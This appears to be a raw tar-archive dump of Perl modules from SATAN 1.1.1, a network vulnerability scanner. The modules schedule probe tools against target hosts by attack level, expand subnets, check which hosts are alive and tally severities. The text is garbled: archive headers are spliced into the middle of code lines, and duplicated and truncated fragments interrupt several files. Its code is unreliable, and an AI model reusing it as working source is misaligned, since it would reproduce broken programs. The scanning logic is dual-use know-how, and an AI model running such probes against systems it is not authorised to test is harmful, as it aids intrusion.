  24981. .    $severity_host_type_info{$target}{$type} .= $_ . "\n";
  24982. .    $severity_type_host_info{$type}{$target} .= $_ . "\n";
  24983. .    $severity_levels{$severity}{$target} .= $_ . "\n";
  24984. .    $severity_host_count{$target}++;
  24985. .    $severity_flag = 0;
  24986. .}
  24987.     }
  24988. }
  24989.  
  24990. #
  24991. # Generate severities-dependent statistics.
  24992. #
  24993. sub make_severity_info {
  24994.     local($severity, $host, %junk);
  24995.  
  24996.     if ($severity_flag > 0) {
  24997. .return;
  24998.     }
  24999.     $severity_flag = time();
  25000.  
  25001.     print "Rebuild severity type statistics...\n" if $debug;
  25002.  
  25003.     for $severity (keys %severity_type_host_info) {
  25004. .%junk = %{$severity_type_host_info{$severity}};
  25005. .$severity_type_count{$severity} = sizeof(*junk);
  25006.     }
  25007. }
  25008.  
  25009. #
  25010. # Reset all severity information
  25011. #
  25012. sub clear_severity_info {
  25013.     %severity_host_type_info = ();
  25014.     %severity_type_host_info = ();
  25015.     %severity_levels = ();
  25016.     %severity_host_count = ();
  25017.     %severity_type_count = ();
  25018.     $severity_flag = 0;
  25019. }
  25020.  
  25021. #
  25022. # Some scaffolding for stand-alone operation
  25023. #
  25024. if ($running_under_satan == 0) {
  25025.     $running_under_satan = -1;
  25026.     $debug = 1;
  25027.     require 'perl/misc.pl';
  25028.     warn "severities.pl running in stand-alone mode";
  25029.  
  25030.     #
  25031.     # Sort severity information and do some counting.
  25032.     #
  25033.     while (<>) {
  25034. .chop;
  25035. .if (&satan_split($_) == 0) {
  25036. .    &update_severities($_);
  25037. .}
  25038.     }
  25039.     &make_severity_info();
  25040.  
  25041.     print "Hosts grouped by severity\n";
  25042.     for $severity (sort keys %severity_type_host_info) {
  25043.        print "$severity ($severity_type_count{$severity})\n";
  25044. .for (sort keys %{$severity_type_host_info{$severity}}) {
  25045. .    print "\t$_\n";
  25046. .}
  25047.     }
  25048.  
  25049.     print "Severities grouped by host\n";
  25050.     for $host (sort keys %severity_host_type_info) {
  25051. .print "$host\n";
  25052. .for $type (sort keys %{$severity_host_type_info{$host}}) {
  25053. .    for (split(/\n/, $severity_host_type_info{$host}{$type})) {
  25054. ..print "\t$_\n";
  25055. .    }
  25056. .}
  25057.     }
  25058. }
  25059.  
  25060. # UPC Code:
  25061.  
  25062. 1;
  25063. info {
  25064.     %servers = ();
  25065.     %clients = ();
  25066.     %server_severities = ();
  25067.     %client_severities = ();
  25068.     %server_info = ();
  25069.     %client_info = ();
  25070.     $service_flag = 0;
  25071. }
  25072.  
  25073. #
  25074. # Some scaffolding for stand-alone operation
  25075. #
  25076. if ($running_under_satan) {
  25077.     eval &build_infer_services($services_files);
  25078.     die "error in $services_files: $@" if $@;
  25079. } else {satan-1.1.1/perl/shell.pl...........................................................................   600 .   465 .   506 .       1314  5742457004  10305. .............................................................................................
  25080. .................................................................................................................................................................................................................................................................
  25081. ......#
  25082. # Run a command with extreme prejudice and make sure it finishes.
  25083. #
  25084. #
  25085. # version 1, Mon Mar 20 14:09:35 1995, last mod by wietse
  25086. #
  25087.  
  25088. require 'config/paths.pl';
  25089. require 'perl/status.pl';
  25090.  
  25091. sub bad_cmd {
  25092. .local($command) = @_;
  25093.  
  25094. .return ($command =~ /[^-_ ,a-zA-Z0-9:.!\/]/);
  25095. }
  25096. ..
  25097. sub open_cmd {
  25098. .local($handle, $timeout, $command) = @_;
  25099. .local($ret, $shell_cmd);
  25100.  
  25101. .$shell_cmd = "$TIMEOUT $timeout $command";
  25102.  
  25103. .if (&bad_cmd($shell_cmd)) {
  25104. ..print "==> NOT RUNNING $shell_cmd (illegal characters)\n";
  25105. .} elsif ($debug) {
  25106. ..$ret = open($handle, "$shell_cmd 2>/dev/null|");
  25107. .} else {
  25108. ..$ret = open($handle, "$shell_cmd|");
  25109. .}
  25110. .&update_status("$shell_cmd");
  25111. .print "==> running $shell_cmd\n" if $debug;
  25112. .return $ret;
  25113. }
  25114.  
  25115. 1;
  25116.  
  25117. usted =~ /\bANY\b/) {
  25118. .$type = "other vulnerabilities" if ($type = $service_output) eq "";
  25119. .if (index($severity_host_type_info{$target}{$type}, $_) < $[) {
  25120. .    $severity_host_type_info{$target}{$type} .= $_ . "\n";
  25121. .    $severity_type_host_info{$type}{$target} .= $_ . "\n";
  25122. .    $severity_levels{$severity}satan-1.1.1/perl/socket.pl..........................................................................   600 .   465 .   506 .       1072  5742457004  10467. .....................................................................
  25123. .................................................................................................................................................................................................................................................................
  25124. ..............................#
  25125. # Some PERL installations have no sys/*.ph, and on some sites the
  25126. # sys/*.ph files are busted. Since we need this only for a few things we
  25127. # Even grabbing the definitions directly from sys/socket.h is problematic
  25128. # on SYSV4 where the include files are messed up by recursive defines. So
  25129. # we revert to running a C program that emits PERL code.
  25130. #
  25131.  
  25132. require 'config/paths.pl';
  25133.  
  25134. die "$SYS_SOCKET: $!. Did you run 'reconfig' and 'make'?\n" 
  25135. .unless -x "$SYS_SOCKET";
  25136.  
  25137. eval `$SYS_SOCKET`;
  25138.  
  25139. #
  25140. # When that failed, die a horrible death.
  25141. #
  25142. die "./$SYS_SOCKET: $@.\n" if $@;
  25143.  
  25144. 1;
  25145. else {
  25146. ..$ret = open($handle, "$shell_cmd|");
  25147. .}
  25148. .&update_status("$shell_cmd");
  25149. .print "==> running $shell_cmd\n" if $debug;
  25150. .return $ret;
  25151. }
  25152.  
  25153. 1;
  25154.  
  25155. usted =~ /\bANY\b/) {
  25156. .$type = "other vulnerabilities" if ($type = $service_output) eq "";
  25157. .if (index($severity_host_type_info{$target}{$type}, $_) < $[) {
  25158. .    $severity_host_type_info{$target}{$type} .= $_ . "\n";
  25159. .    $severity_type_host_info{$type}{$target} .= $_ . "\n";
  25160. .    $severity_levels{$severity}satan-1.1.1/perl/todo.pl............................................................................   600 .   465 .   506 .       6766  5742457004  10163. .....................................................................
  25161. .................................................................................................................................................................................................................................................................
  25162. ..............................#
  25163. # add_todo($record) add one record to the new todo list.
  25164. #
  25165. # process_todos() iterates over the new todo list and generates new facts.
  25166. #
  25167. # save_todos($path) saves the old todos to the named file.
  25168. #
  25169. # drop_old_todos($host) forget everything we know about a host.
  25170. #
  25171. # read_todos($path) load tables from file.
  25172. #
  25173. # merge_todos($path) merge with in-core tables.
  25174. #
  25175. # version 2, Mon Mar 20 19:47:07 1995, last mod by wietse
  25176. #
  25177. require 'perl/shell.pl';
  25178.  
  25179. #
  25180. # Add one probe to the new todo list.
  25181. #
  25182. sub add_todo {
  25183. local($host, $tool, $args) = @_;
  25184. local($record);
  25185.  
  25186. $record = "$host|$tool|$args";
  25187.  
  25188. if (!exists($old_todos{$record}) && !exists($new_todos{$record})) { 
  25189. .$new_todos{$record} = $record; 
  25190. .print "Add-todo: $record\n" if $debug;
  25191. .}
  25192. }
  25193.  
  25194. #
  25195. # Add one probe to the new todo list, ignore args when looking for dups.
  25196. #
  25197. sub add_todo_ignore_args {
  25198. local($host, $tool, $args) = @_;
  25199. local($key, $record);
  25200.  
  25201. $key = "$host|$tool";
  25202. $record = "$host|$tool|$args";
  25203.  
  25204. if (!exists($old_todos{$key})) { 
  25205. .$new_todos{$key} = $record; 
  25206. .print "Add-todo: $key ($args)\n" if $debug;
  25207. .}
  25208. }
  25209.  
  25210. #
  25211. # Iterate over the new todo list until nothing new shows up. Skip tools
  25212. # that we aren't supposed to run at this attack level.
  25213. #
  25214. sub process_todos {
  25215. local($key,%temp_todos,$allowed_tools);
  25216. local($target, $tool, $args, $level, $probe);
  25217.  
  25218. while (sizeof(*new_todos) > 0) {
  25219. .%temp_todos = %new_todos;
  25220. .%new_todos = ();
  25221. .for $key (keys %temp_todos) {
  25222. ..($target, $tool, $args) = split(/\|/, $temp_todos{$key}, 3);
  25223. ..next unless exists($all_hosts{$target});
  25224. ..$level = $all_hosts{$target}{'attack'};
  25225. ..next unless $level >= 0;
  25226. ..for $probe (@{$all_attacks[$level]}) {
  25227. ...if ($tool eq $probe || "$tool?" eq $probe || $probe eq "*?") {
  25228. ....$old_todos{$key} = 1;
  25229. ....&run_next_todo($target, $tool, $args);
  25230. ....last;
  25231. ....}
  25232. ...}
  25233. ..}
  25234. .}
  25235. }
  25236.  
  25237. #
  25238. # Save old todo list to file.
  25239. #
  25240. sub save_todos {
  25241. local($path) = @_;
  25242.  
  25243. open(TODO, ">$path") || die "cannot save old todo list to $path: $!";
  25244. for $key (keys %old_todos) {
  25245. .print TODO "$key\n";
  25246. .}
  25247. close(TODO);
  25248. }
  25249.  
  25250. #
  25251. # Reset todo tables and derivatives
  25252. #
  25253. sub clear_todos {
  25254. %new_todos = ();
  25255. %old_todos = ();
  25256. }
  25257.  
  25258. #
  25259. # Drop old entries on a specific host.
  25260. #
  25261. sub drop_old_todos {
  25262. .local($host) = @_;
  25263. .local($key, $target, $tool, $args);
  25264.  
  25265. .for $key (keys %old_todos) {
  25266. ..($target, $tool, $args) = split(/\|/, $key);
  25267. ..delete $old_todos{$key} if $target eq $host;
  25268. .}
  25269. }
  25270.  
  25271. #
  25272. # Read old todo list from file.
  25273. #
  25274. sub read_todos {
  25275. local($path) = @_;
  25276.  
  25277. &clear_todos();
  25278. &merge_todos($path);
  25279. }
  25280.  
  25281. #
  25282. # Merge old todo list with in-core table.
  25283. #
  25284. sub merge_todos {
  25285. local($path) = @_;
  25286.  
  25287. open(TODO, $path) || die "cannot read old todo list from $path: $!";
  25288. print "Reading old todo list from $path...\n" if $debug;
  25289. while (<TODO>) {
  25290. .chop;
  25291. .$old_todos{$_} = 1;
  25292. .}
  25293. close(TODO);
  25294. }
  25295.  
  25296. #
  25297. # Run a tool and collect its output.
  25298. #
  25299. sub run_next_todo
  25300. {
  25301. local($target, $tool, $args) = @_;
  25302. local($text, $ttl);
  25303.  
  25304. $ttl = (defined($timeouts{$tool}) ? $timeouts{$tool} : $timeout);
  25305.  
  25306. $command = "bin/$tool $args $target";
  25307.  
  25308. # Update host last access time.
  25309. &set_host_time($target);
  25310.  
  25311. # Damn the torpedoes!
  25312. die "Can't run $tool\n" unless &open_cmd(TOOL, $ttl, $command);
  25313.  
  25314. while (<TOOL>) {
  25315. .chop;
  25316. .&add_fact($_);
  25317. .}
  25318.  
  25319. close(TOOL);
  25320.  
  25321. # Did we fly like the mighty turkey or soar like an...?
  25322. # If the former, assume that we need to output an error record...
  25323. if ($?) {
  25324. .# based on exit value, decide what happened:
  25325. .if ($? == $timeout_kill) { $text = "program timed out"; }
  25326. .elsif ($? > 0 && $? < $timeout_kill) {
  25327. ..$text = "internal program error $?";
  25328. ..}
  25329. .else { $text = "unknown error #$?"; }
  25330.  
  25331. .&add_fact("$target|$tool|u|||||$text");
  25332. .}
  25333.  
  25334. }
  25335.  
  25336. 1;
  25337. ;
  25338. } else {satan-1.1.1/perl/subnets.pl.........................................................................   700 .   465 .   506 .       4207  5742457004  10666. .............................................................................................
  25339. .................................................................................................................................................................................................................................................................
  25340. ......#
  25341. # sift by subnets
  25342. #
  25343. # Output to: 
  25344. #
  25345. # $all_subnets{subnet}: hosts per subnet
  25346. #
  25347. # $host_subnet{host}: subnet of this host
  25348. #
  25349. # $subnet_count{subnet}: number of hosts in this subnet
  25350. #
  25351. # $subnet_severities{subnet}: nr of vulnerable hosts in subnet
  25352. #
  25353. # $subnet_flag: reset whenever the tables are updated. To recalculate,
  25354. # invoke make_subnet_info().
  25355. #
  25356. # Standalone usage: perl subnets.pl [data directory]
  25357.  
  25358. #
  25359. # Generate subnet statistics.
  25360. #
  25361. sub make_subnet_info {
  25362. local($subnet, $host);
  25363.  
  25364. if ($subnet_flag > 0) {
  25365. .return;
  25366. .}
  25367. $subnet_flag = time();
  25368. %all_subnets = ();
  25369.  
  25370. &make_severity_info();
  25371.  
  25372. print "Rebuild subnet type statistics...\n" if $debug;
  25373.  
  25374. %all_subnets = ();
  25375. %host_subnet = ();
  25376.  
  25377. for $host (keys %all_hosts) {
  25378. .if ($host) {
  25379. ..($subnet = $all_hosts{$host}{'IP'}) =~ s/\.[^.]*$//;
  25380. ..$subnet = "unknown" unless $subnet;
  25381. ..$all_subnets{$subnet} .= "$host ";
  25382. ..$host_subnet{$host} = $subnet;
  25383. ..}
  25384. .}
  25385.  
  25386. # Cheat in case the facts file has names not in all-hosts.
  25387.  
  25388. for $host (keys %hosttype, keys %severity_host_count) {
  25389. .next unless $host;
  25390. .next if defined($host_subnet{$host});
  25391. .if ($host =~ /^([0-9]+\.[0-9]+\.[0-9]+)\.[0-9]+$/) {
  25392. ..$subnet = $1;
  25393. .} else {
  25394. ..$subnet = "unknown";
  25395. .}
  25396. .$all_subnets{$subnet} .= "$host ";
  25397. .$host_subnet{$host} = $subnet;
  25398. }
  25399.  
  25400. for $subnet (keys %all_subnets) {
  25401. .$subnet_count{$subnet} = split(/\s+/, $all_subnets{$subnet});
  25402. .$subnet_severities{$subnet} = 0;
  25403. .for $host (split(/\s+/, $all_subnets{$subnet})) {
  25404. ..$subnet_severities{$subnet}++ if exists($severity_host_type_info{$host});
  25405. ..}
  25406. .}
  25407. }
  25408.  
  25409. #
  25410. # erase the subnet info tables
  25411. #
  25412. sub clear_subnet_info {
  25413. .%all_subnets = ();
  25414. .%host_subnet = ();
  25415. .%subnet_count = ();
  25416. .%subnet_severities = ();
  25417. .$subnet_flag = 0;
  25418. }
  25419.  
  25420. #
  25421. # Stand-alone mode
  25422. #
  25423. if ($running_under_satan == 0) {
  25424. warn "subnets.p in stand-alone mode...";
  25425. $running_under_satan = 1;
  25426. $debug = 1;
  25427. require 'perl/targets.pl';
  25428. require 'perl/severities.pl';
  25429. require 'perl/facts.pl';
  25430.  
  25431. &read_all_hosts("$ARGV[0]/all-hosts");
  25432. &read_facts("$ARGV[0]/facts");
  25433. &make_subnet_info();
  25434.  
  25435. print "Subnet info\n";
  25436.  
  25437. for (keys %all_subnets) {
  25438. .print "Subnet: $_ $subnet_severities{$_}/$subnet_count{$_}\n";
  25439. .for (split(/\s/, $all_subnets{$_})) {
  25440. ..print "\t$_\n";
  25441. ..}
  25442. .}
  25443. }
  25444.  
  25445. 1;
  25446. ocal($key, $target, $tool, $args);
  25447.  
  25448. .for $key (keys %old_todos) {
  25449. ..($target, $tool, $args) = split(/\|/, $key);
  25450. ..delete $old_todos{$key} if $target eq $host;
  25451. .}
  25452. }
  25453.  
  25454. #
  25455. # Read old todo list from file.
  25456. #
  25457. sub read_todos {
  25458. local($path) = @_;
  25459.  
  25460. &clear_todos();
  25461. &merge_todos($path);
  25462. }
  25463.  
  25464. #
  25465. # Merge old todo list with in-core table.
  25466. #
  25467. sub merge_todos {
  25468. local($path) = @_;
  25469.  
  25470. open(TODO, $pasatan-1.1.1/perl/suser.pl...........................................................................   600 .   465 .   506 .       1275  5742457004  10345. .......................................................................................
  25471. .................................................................................................................................................................................................................................................................
  25472. ............#
  25473. # Find if these commands would all run with root privileges.
  25474. #
  25475.  
  25476. sub suser {
  25477. .local(@path) = @_;
  25478. .local($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks);
  25479.  
  25480. .while ($> != 0 && $#path >= $[) {
  25481. ..if ((($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks) = stat(@path[0])) == 0) {
  25482. ...return(0);
  25483. ..} elsif ($uid != 0 || ($mode & 04000) == 0) {
  25484. ...return(0);
  25485. ..}
  25486. ..shift @path;
  25487. .}
  25488. .return(1);
  25489. }
  25490.  
  25491. #
  25492. # Stand-alone mode
  25493. #
  25494. if ($running_under_satan == 0) {
  25495.  
  25496. .warn 'suser.pl running in stand-alone mode';
  25497.  
  25498. .die "usage $0 file\n" unless $#ARGV == 0;
  25499.  
  25500. .print &suser($ARGV[0]) ? "Root privileged\n" : "Unprivileged\n";
  25501. }
  25502.  
  25503. 1;
  25504. t ";
  25505. .$host_subnet{$host} = $subnet;
  25506. }
  25507.  
  25508. for $subnet (keys %all_subnets) {
  25509. .$subnet_count{$subnet} = split(/\s+/, $all_subnets{$subnet});
  25510. .$subnet_severities{$subnet} = 0;
  25511. .for $host (split(/\s+/, $all_subnets{$subnet})) {
  25512. ..$subnet_severities{$subnet}++ if exists($severity_host_type_info{$host});
  25513. ..}
  25514. .}
  25515. }
  25516.  
  25517. #
  25518. # erase the ssatan-1.1.1/perl/targets.pl.........................................................................   600 .   465 .   506 .      20426  5742457004  10674. ........................................................................................
  25519. .................................................................................................................................................................................................................................................................
  25520. ...........#
  25521. # get_proximity(target) returns proximity by hostname.
  25522. #
  25523. # new_target(target, proximity) figures out what (still) needs to be done.
  25524. #
  25525. # save_all_hosts(path) saves the all_hosts table to file.
  25526. #
  25527. # read_all_hosts(path) reads the all_hosts table from file.
  25528. #
  25529. # drop_all_hosts(host) forget this host.
  25530. #
  25531. # merge_all_hosts(path) merge with in-core tables.
  25532. #
  25533. # set_host_time(host) set host access time (UTC).
  25534. #
  25535. # get_host_time(host) get host access time (UTC).
  25536. #
  25537. # version 3, Mon Mar 20 19:43:59 1995, last mod by wietse
  25538. #
  25539.  
  25540. require 'perl/policy-engine.pl';
  25541. require 'perl/subnets.pl';
  25542. require 'perl/domains.pl';
  25543. require 'perl/get_host.pl';
  25544. require 'perl/shell.pl';
  25545.  
  25546. #
  25547. # Get proximity for this host.
  25548. #
  25549. sub get_proximity
  25550. {
  25551. .local($target) = @_;
  25552.  
  25553. .return 100 unless defined($all_hosts{$target});
  25554. .return $all_hosts{$target}{'proximity'};
  25555. }
  25556.  
  25557. #
  25558. # Set up a list of primary targets. Primaries are special. They may be
  25559. # expanded. After all the primaries are known we may have to do something
  25560. # special, like forgetting everything we know about them.
  25561. #
  25562. sub add_primary_target {
  25563. .local($target) = @_;
  25564.  
  25565. .# Do we expand or do we scan a host.
  25566. .if ($target =~ /^\d+\.\d+\.\d+$/ || $attack_proximate_subnets) {
  25567. ..print "Add-primary: expand $target...\n" if $debug;
  25568. ..&target_acquisition($target, 0, $attack_level);
  25569. .} else {
  25570. ..print "Add-primary: $target\n" if $debug;
  25571. ..&new_target($target, 0);
  25572. .}
  25573. }
  25574.  
  25575. #
  25576. # Forget everything we know about primary targets (well, almost everything).
  25577. # We must re-read the data base, or memory would be polluted with stale
  25578. # inferences.
  25579. #
  25580. sub fix_primary_targets {
  25581. .local(%temp_targets);
  25582.  
  25583. .if ($primaries_deleted) {
  25584. ..print "Primaries being rescanned, rebuilding tables.\n" if $debug;
  25585. ..%temp_targets = %new_targets;
  25586. ..&save_satan_data();
  25587. ..&read_satan_data();
  25588. ..%new_targets = %temp_targets;
  25589. ..$primaries_deleted = 0;
  25590. .}
  25591. }
  25592.  
  25593. #
  25594. # Take a new potential target and let it cool down. This saves lots of
  25595. # duplicate work.
  25596. #
  25597. sub new_target
  25598. {
  25599. .local($target, $proximity) = @_;
  25600.  
  25601. .return unless $target;
  25602.  
  25603. .# Make sure all current primaries are rescanned, not the hosts that
  25604. .# were primaries during some earlier scan.
  25605. .if ($proximity == 0) {
  25606. ..$primaries_deleted = defined($all_hosts{$target});
  25607. ..drop_old_todos($target);
  25608. ..drop_old_facts($target);
  25609. .}
  25610.  
  25611. .# Toss circular paths.
  25612. .if (defined($all_hosts{$target})
  25613. .    && $all_hosts{$target}{'proximity'} < $proximity) {
  25614. ..return;
  25615. .}
  25616. .if (exists($new_targets{$target}) 
  25617. .    && $new_targets{$target} <= $proximity) {
  25618. ..return;
  25619. .}
  25620.  
  25621. .# Keep primary, keep shortest path.
  25622. .if ($proximity == 0 || !exists($new_targets{$target}) 
  25623. .    || !defined($all_hosts{$target}) 
  25624. .    || $all_hosts{$target}{'proximity'} > $proximity) {
  25625. ..$new_targets{$target} = $proximity;
  25626. ..print "Add-target: $target prox $proximity\n" if $debug;
  25627. .}
  25628. }
  25629.  
  25630. #
  25631. # Probe targets.
  25632. #
  25633. sub process_targets
  25634. {
  25635. local($target, $proximity, $level, %temp_targets, %probe_targets);
  25636.  
  25637. while(sizeof(*new_targets) > 0) {
  25638. .%temp_targets = %new_targets;
  25639. .%new_targets = ();
  25640. .%probe_targets = ();
  25641.  
  25642. .# Generate probes according to policy restrictions.
  25643. .for $target (keys %temp_targets) {
  25644. ..$proximity = $temp_targets{$target};
  25645.  
  25646. ..# Instantiate new host.
  25647. ..if (!defined($all_hosts{$target})) {
  25648. ...&add_new_host($target, $proximity);
  25649. ...}
  25650.  
  25651. ..# Proximity may have changed.
  25652. ..if ($all_hosts{$target}{'proximity'} > $proximity) {
  25653. ...$all_hosts{$target}{'proximity'} = $proximity;
  25654. ...}
  25655.  
  25656. ..# Skip attack and target expansion if this host is off-limits.
  25657. ..if (($level = &policy_engine($target, $proximity)) < 0) {
  25658. ...print "process_targets: skip $target...\n" if $debug;
  25659. ...next;
  25660. ...}
  25661.  
  25662. ..# Attack level contents may have changed.
  25663. ..$all_hosts{$target}{'attack'} = $level;
  25664. ..$check_alive_list .= "$target "
  25665. ...if !defined($host_is_alive{$target});
  25666. ..$probe_targets{$target} = $level;
  25667. ..}
  25668. .}
  25669.  
  25670. .# Parallelize liveness checks.
  25671. .&check_alive();
  25672.  
  25673. .# Generate the probes.
  25674. .for $target (keys %probe_targets) {
  25675. ..print "process_targets: probe $target...\n" if $debug;
  25676. ..&target_attack($target, $probe_targets{$target});
  25677. .}
  25678. }
  25679.  
  25680. #
  25681. # Add one target to the %all_hosts list. Set proximity, IP, preliminary
  25682. # attack level, preliminary expansion flag.
  25683. #
  25684. sub add_new_host
  25685. {
  25686. local($target, $proximity) = @_;
  25687.  
  25688. $all_hosts{$target}{'proximity'} = $proximity;
  25689. $all_hosts{$target}{'attack'} = -1;
  25690. $all_hosts{$target}{'expand'} = 0;
  25691. $all_hosts{$target}{'IP'} = &get_host_addr($target);
  25692. $subnet_flag = 0;
  25693. $domain_flag = 0;
  25694. }
  25695.  
  25696. #
  25697. # ping a list of hosts and find out what hosts are alive.
  25698. #
  25699. sub check_alive {
  25700. .local ($host);
  25701.  
  25702. .if ($check_alive_list eq "") {
  25703. ..return;
  25704. .}
  25705. .print "Check-pulse: $check_alive_list\n" if $debug;
  25706.  
  25707. .#
  25708. .# Cheat when ICMP is broken.
  25709. .#
  25710. .if ($dont_use_ping) {
  25711. ..for $host (split(/\s+/, $check_alive_list)) {
  25712. ...$host_is_alive{$host} = 1;
  25713. ...$live_hosts++;
  25714. ..}
  25715. ..$check_alive_list = "";
  25716. ..return;
  25717. .}
  25718.  
  25719. .#
  25720. .# Fping or bust.
  25721. .#
  25722. .&open_cmd(FPING, $long_timeout, "$FPING $check_alive_list") 
  25723. ..|| die "cannot run $FPING: $!\n";
  25724. .while(<FPING>) {
  25725. ..if (/(\S+) is alive/) {
  25726. ...$host_is_alive{$1} = 1;
  25727. ...$live_hosts++;
  25728. ..} elsif ($debug && /(\S+) is unreachable/) {
  25729. ...print "Skipping dead host - $1\n";
  25730. ..}
  25731. .}
  25732. .close(FPING);
  25733. .$check_alive_list = "";
  25734. }
  25735.  
  25736. #
  25737. # target attack; assign attacks, throw into todo queue
  25738. #
  25739. sub target_attack
  25740. {
  25741. local($target, $level) = @_;
  25742.  
  25743. if ($host_is_alive{$target}) {
  25744. .print "Prox: $all_hosts{$target}{'proximity'}\n" if $debug;
  25745. .print "AL  : $all_hosts{$target}{'attack'}\n" if $debug;
  25746. .print "ALC : $all_hosts{$parent}{'attack'}\n" if $parent && $debug;
  25747.  
  25748. .for (@{$all_attacks[$level]}) {
  25749. ..&add_todo($target, $_, "") if ! /\?/;
  25750. ..}
  25751. .}
  25752. }
  25753.  
  25754. #
  25755. # target acq; get subnets
  25756. #
  25757. sub target_acquisition
  25758. {
  25759. local($target, $proximity, $level) = @_;
  25760. local($targets_found);
  25761.  
  25762. # Expand and then collect. Pass results through new_target() for
  25763. # consistent handling of constraints and policies.
  25764. &open_cmd (TARGETS, 120, "$GET_TARGETS $target");
  25765. while (<TARGETS>) {
  25766. .chop;
  25767. .next unless $_ = getfqdn($_);
  25768. .if (!defined($all_hosts{$_})) {
  25769. ..&add_new_host($_, $proximity);
  25770. ..}
  25771. .$all_hosts{$_}{'proximity'} = $proximity 
  25772. ..if ($all_hosts{$_}{'proximity'} > $proximity);
  25773. .$all_hosts{$_}{'expand'} = 1;
  25774. .$host_is_alive{$_} = 1;
  25775. .$live_hosts++;
  25776. .&new_target($_, $proximity);
  25777. .$targets_found++;
  25778. .}
  25779. close(TARGETS);
  25780. die "$GET_TARGETS failed - unable to expand subnet $target\n" 
  25781. .if ($? || $targets_found < 1)
  25782. }
  25783.  
  25784. #
  25785. # Save the %all_hosts array
  25786. #
  25787. sub save_all_hosts {
  25788. local($all_hosts_file) = @_;
  25789. local($record, $host, $ip, $proximity, $level, $expand, $time);
  25790.  
  25791. open(ALL_HOSTS, ">$all_hosts_file") ||
  25792. .die "Can't open $all_hosts_file (cache for all-hosts) for writing\n";
  25793.  
  25794. for $host (keys %all_hosts) {
  25795. .$ip = $all_hosts{$host}{'IP'};
  25796. .$proximity = $all_hosts{$host}{'proximity'};
  25797. .$level = $all_hosts{$host}{'attack'};
  25798. .$expand = $all_hosts{$host}{'expand'};
  25799. .$time = $all_hosts{$host}{'time'};
  25800. .$record = "$host|$ip|$proximity|$level|$expand|$time";
  25801. .print ALL_HOSTS "$record\n";
  25802. .# print "save_all_hosts: $record\n" if $debug;
  25803. .}
  25804. close(ALL_HOSTS);
  25805.  
  25806. }
  25807.  
  25808. #
  25809. # Reset host info and derivatives
  25810. #
  25811. sub clear_all_hosts {
  25812. .%all_hosts = ();
  25813. .%new_targets = ();
  25814. .&clear_subnet_info();
  25815. .&clear_domain_info();
  25816. }
  25817.  
  25818. #
  25819. # suck in the all-hosts array from file
  25820. #
  25821. sub read_all_hosts {
  25822. .local($all_hosts_file) = @_;
  25823.  
  25824. .&clear_all_hosts();
  25825. .&merge_all_hosts($all_hosts_file);
  25826. }
  25827.  
  25828. #
  25829. # merge the in-core all-hosts array with one from file
  25830. #
  25831. sub merge_all_hosts {
  25832. local($all_hosts_file) = @_;
  25833. local($count, $host, $ip, $proximity, $level, $time);
  25834.  
  25835. open(ALL_HOSTS, $all_hosts_file) ||
  25836. .die "Can't open $all_hosts_file (cache for all-hosts) for reading\n";
  25837. .print "Reading all hosts info from $all_hosts_file...\n" if $debug;
  25838.  
  25839. # read one line at a time, herky jerky motion... one trick pony, man...
  25840. while (<ALL_HOSTS>) {
  25841. .chop;
  25842. .$count = ($host, $ip, $proximity, $level, $expand, $time) = split(/\|/);
  25843. .if ($count != 6) {
  25844. ..warn "corrupted $all_hosts_file: $_\n";
  25845. ..next;
  25846. ..}
  25847. .if (!defined($all_hosts{$host}{'proximity'})
  25848. .    || $all_hosts{$host}{'proximity'} > $proximity) {
  25849. ..$all_hosts{$host}{'IP'} = $ip;
  25850. ..$all_hosts{$host}{'proximity'} = $proximity;
  25851. ..$all_hosts{$host}{'attack'} = $level;
  25852. ..$all_hosts{$host}{'expand'} = $expand;
  25853. ..$all_hosts{$host}{'time'} = $time;
  25854. ..}
  25855. .}
  25856. close(ALL_HOSTS);
  25857. }
  25858.  
  25859. #
  25860. # set the last access time for this host. Use numerical form for easy sorting.
  25861. #
  25862. sub set_host_time {
  25863. .local($host) = @_;
  25864.  
  25865. .$all_hosts{$host}{'time'} = time();
  25866. }
  25867.  
  25868. #
  25869. # get the last access time for this host. Use numerical form for easy sorting.
  25870. #
  25871. sub get_host_time {
  25872. .local($host) = @_;
  25873.  
  25874. .return $all_hosts{$host}{'time'};
  25875. }
  25876.  
  25877.  
  25878. 1;
  25879. = 0;
  25880. }
  25881.  
  25882. #
  25883. # ping a list of hosts and find out what hosts are alive.
  25884. #
  25885. sub check_alive {
  25886. .local ($host);
  25887.  
  25888. .if ($check_alive_list eq "") {
  25889. ..return;
  25890. .}
  25891. .print "Check-pulse: $check_alive_list\n" if $debug;
  25892.  
  25893. .#
  25894. .# Cheat when ICMP is brokesatan-1.1.1/perl/trust.pl...........................................................................   600 .   465 .   506 .       6025  5742457004  10363. ..........................................................................
  25895. .................................................................................................................................................................................................................................................................
  25896. .........................#
  25897. # update_trust - maintain trust statistics
  25898. #
  25899. # Output to: 
  25900. #
  25901. # $total_trusted_count{host} number of non-ANY trust relationships
  25902. # $total_trusted_names{host} names of trusted hosts
  25903. #
  25904. # $total_trustee_count{host} number of non-ANY trust relationships
  25905. # $total_trustee_names{host} names of trustee hosts
  25906. #
  25907. # $trust_host_type{trusted trustee}{type} all facts about this relationship.
  25908. # $trust_type_host{type}{trusted trustee} all facts about this relationship.
  25909.  
  25910. $trust_files = "rules/trust";
  25911. $trust_other = "other";
  25912.  
  25913. sub build_update_trust {
  25914.     local($files) = @_;
  25915.     local($code, $type);
  25916.  
  25917.     $code = '
  25918. sub update_trust {
  25919.     local($td_host, $te_host);
  25920.     ($td_host = $trusted) =~ s/(.*@)?(.*)/$2/;
  25921.     ($te_host = $trustee) =~ s/(.*@)?(.*)/$2/;
  25922.  
  25923.     return 
  25924. .if $td_host eq "" || $te_host eq ""
  25925. .|| $td_host eq "ANY" || $td_host eq $te_host;
  25926.  
  25927.     if (!exists($trust_host_type{"$td_host $te_host"})) {
  25928. .$total_trustee_names{$td_host} .= "$te_host ";
  25929. .$total_trustee_count{$td_host}++;
  25930. .$total_trusted_names{$te_host} .= "$td_host ";
  25931. .$total_trusted_count{$te_host}++;
  25932.     }
  25933. ';
  25934.  
  25935.     foreach $file (split(/\s+/, $files)) {
  25936. .open(RULES, $file) || die "cannot open $file: $!";
  25937. .while (<RULES>) {
  25938. .    chop;
  25939. .    while (/\\$/) {
  25940. ..chop;
  25941. ..$_ .= <RULES>;
  25942. ..chop;
  25943. .    }
  25944. .    s/#.*$//;
  25945. .    s/\s+$//;
